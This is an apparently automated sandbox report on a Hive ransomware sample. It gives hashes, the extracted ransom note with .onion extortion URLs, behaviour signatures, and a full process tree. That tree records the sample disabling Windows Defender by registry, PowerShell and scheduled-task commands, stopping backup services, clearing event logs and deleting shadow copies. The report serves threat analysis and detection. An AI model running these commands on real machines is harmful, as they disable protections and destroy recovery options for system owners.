Resubmissions

23/12/2022, 20:19

221223-y39gvahb28 10

23/12/2022, 19:54

221223-ymz88scc8w 10

23/12/2022, 19:42

221223-yerbcsha78 10

Analysis

  • max time kernel
    135s
  • max time network
    93s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/12/2022, 19:42

General

  • Target

    windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

  • Size

    884KB

  • MD5

    da13022097518d123a91a3958be326da

  • SHA1

    24a71ab462594d5a159bbf176588af951aba1381

  • SHA256

    25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5

  • SHA512

    a82aa97a92cd21ee2d4b556448fd3293396eb7c01d3626ebdb6c3816277783578686830c430014b6b2fc3280bc1301df27da079937f88834c2d35641eb5fc26f

  • SSDEEP

    12288:Sw41dVZvThPCsM18GLHe7wlDdkPAQEtxr0fflvRmhEBWtdUJiAUtP/T/kAfMvgVt:dod1HDmlDdkZ4YXPpaTTXMw

Malware Config

Extracted

Path

C:\EGdu_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data or to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: jxkdVr8zZs5J Password: GHTM6Qgqyhqs4nMH53ZD To get access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not shutdown or reboot your computers, unmount external storages. - Do not try to decrypt data using third party software. It may cause irreversible damage. - Do not fool yourself. Encryption has perfect secrecy and it's impossible to decrypt without knowing the key. - Do not modify, rename or delete *.key.uj1ps files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to authorities. The negotiation process will be terminated immediately and the key will be erased. - Do not reject to purchase. Your sensitive data will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Hive

    A ransomware written in Golang first seen in June 2021.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
    "C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe"
    1⤵
    • Modifies extensions of user files
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4104
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2804
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:4292
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4380
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:4680
        • C:\Windows\SysWOW64\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1544
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:3444
          • C:\Windows\SysWOW64\net.exe
            net.exe stop "vmicvss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3084
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "vmicvss" /y
              3⤵
                PID:1040
            • C:\Windows\SysWOW64\net.exe
              net.exe stop "VSS" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1888
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "VSS" /y
                3⤵
                  PID:3108
              • C:\Windows\SysWOW64\net.exe
                net.exe stop "wbengine" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4552
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "wbengine" /y
                  3⤵
                    PID:3840
                • C:\Windows\SysWOW64\net.exe
                  net.exe stop "WebClient" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4600
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop "WebClient" /y
                    3⤵
                      PID:2664
                  • C:\Windows\SysWOW64\net.exe
                    net.exe stop "UnistoreSvc_1a9ad" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1720
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop "UnistoreSvc_1a9ad" /y
                      3⤵
                        PID:2592
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2468
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4288
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:3420
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "vmicvss" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2760
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4364
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2172
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4972
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "UnistoreSvc_1a9ad" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1432
                    • C:\Windows\SysWOW64\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                        PID:1192
                      • C:\Windows\SysWOW64\reg.exe
                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                        2⤵
                          PID:5028
                        • C:\Windows\SysWOW64\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:4744
                          • C:\Windows\SysWOW64\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:1788
                            • C:\Windows\SysWOW64\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                              2⤵
                                PID:2220
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:4676
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:5016
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1336
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:3412
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:4568
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:4548
                                • C:\Windows\SysWOW64\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                  2⤵
                                    PID:1056
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:64
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:4016
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:4820
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                          2⤵
                                            PID:1624
                                          • C:\Windows\SysWOW64\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                            2⤵
                                              PID:2920
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                              2⤵
                                                PID:4588
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                2⤵
                                                  PID:3528
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                  2⤵
                                                    PID:4508
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                    2⤵
                                                      PID:3212
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:4632
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                        2⤵
                                                          PID:1816
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                          2⤵
                                                            PID:3468
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:3804
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                              2⤵
                                                                PID:4896
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                2⤵
                                                                  PID:2888
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                  2⤵
                                                                    PID:4024
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                    2⤵
                                                                      PID:4660
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                      2⤵
                                                                        PID:2168
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                        2⤵
                                                                          PID:2756
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                          • Modifies security service
                                                                          PID:4556
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                            PID:2308
                                                                          • C:\Windows\SysWOW64\wevtutil.exe
                                                                            wevtutil.exe cl system
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1340
                                                                          • C:\Windows\SysWOW64\wevtutil.exe
                                                                            wevtutil.exe cl security
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4544
                                                                          • C:\Windows\SysWOW64\wevtutil.exe
                                                                            wevtutil.exe cl application
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2072
                                                                          • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                            wmic.exe SHADOWCOPY /nointeractive
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:864
                                                                          • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                            wmic.exe shadowcopy delete
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:3828
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                            2⤵
                                                                              PID:4396
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                              2⤵
                                                                                PID:4616
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                  3⤵
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:4076
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                2⤵
                                                                                  PID:2260
                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                    3⤵
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:4860

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v6

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                Filesize

                                                                                2KB

                                                                                MD5

                                                                                968cb9309758126772781b83adb8a28f

                                                                                SHA1

                                                                                8da30e71accf186b2ba11da1797cf67f8f78b47c

                                                                                SHA256

                                                                                92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

                                                                                SHA512

                                                                                4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                Filesize

                                                                                18KB

                                                                                MD5

                                                                                0f4bbc553c528755d6cc347208d7127d

                                                                                SHA1

                                                                                2f0500f1160c9bcbd23463f1ece4c7ff1bc54961

                                                                                SHA256

                                                                                d68b3585445336084dbf6b4551a28bb461ce7c7d8a5d74a5cc0069b2eb9e0b06

                                                                                SHA512

                                                                                262a7021ebc39433b20287652fee658cc1e2da7115e0ed12714d4da9511785111fe296f9f757326042bbafbba131788a3afa36ece1b3adcd7297ecbff342d211

                                                                              • memory/4076-203-0x0000000005AE0000-0x0000000005AFE000-memory.dmp

                                                                                Filesize

                                                                                120KB

                                                                              • memory/4076-201-0x0000000004CC0000-0x0000000004D26000-memory.dmp

                                                                                Filesize

                                                                                408KB

                                                                              • memory/4076-209-0x0000000006E70000-0x0000000006E7A000-memory.dmp

                                                                                Filesize

                                                                                40KB

                                                                              • memory/4076-207-0x0000000007440000-0x0000000007ABA000-memory.dmp

                                                                                Filesize

                                                                                6.5MB

                                                                              • memory/4076-199-0x0000000004D40000-0x0000000005368000-memory.dmp

                                                                                Filesize

                                                                                6.2MB

                                                                              • memory/4076-206-0x00000000060A0000-0x00000000060BE000-memory.dmp

                                                                                Filesize

                                                                                120KB

                                                                              • memory/4076-200-0x0000000004C20000-0x0000000004C42000-memory.dmp

                                                                                Filesize

                                                                                136KB

                                                                              • memory/4076-210-0x0000000007080000-0x0000000007116000-memory.dmp

                                                                                Filesize

                                                                                600KB

                                                                              • memory/4076-211-0x0000000007030000-0x000000000703E000-memory.dmp

                                                                                Filesize

                                                                                56KB

                                                                              • memory/4076-205-0x0000000075140000-0x000000007518C000-memory.dmp

                                                                                Filesize

                                                                                304KB

                                                                              • memory/4076-208-0x0000000006E00000-0x0000000006E1A000-memory.dmp

                                                                                Filesize

                                                                                104KB

                                                                              • memory/4076-212-0x0000000007140000-0x000000000715A000-memory.dmp

                                                                                Filesize

                                                                                104KB

                                                                              • memory/4076-204-0x00000000060C0000-0x00000000060F2000-memory.dmp

                                                                                Filesize

                                                                                200KB

                                                                              • memory/4076-198-0x0000000002260000-0x0000000002296000-memory.dmp

                                                                                Filesize

                                                                                216KB

                                                                              • memory/4076-213-0x0000000007120000-0x0000000007128000-memory.dmp

                                                                                Filesize

                                                                                32KB

                                                                              • memory/4076-202-0x00000000053E0000-0x0000000005446000-memory.dmp

                                                                                Filesize

                                                                                408KB

                                                                              • memory/4104-132-0x0000000000E50000-0x0000000001162000-memory.dmp

                                                                                Filesize

                                                                                3.1MB

                                                                              • memory/4104-133-0x0000000000E50000-0x0000000001162000-memory.dmp

                                                                                Filesize

                                                                                3.1MB

                                                                              • memory/4860-216-0x0000000075140000-0x000000007518C000-memory.dmp

                                                                                Filesize

                                                                                304KB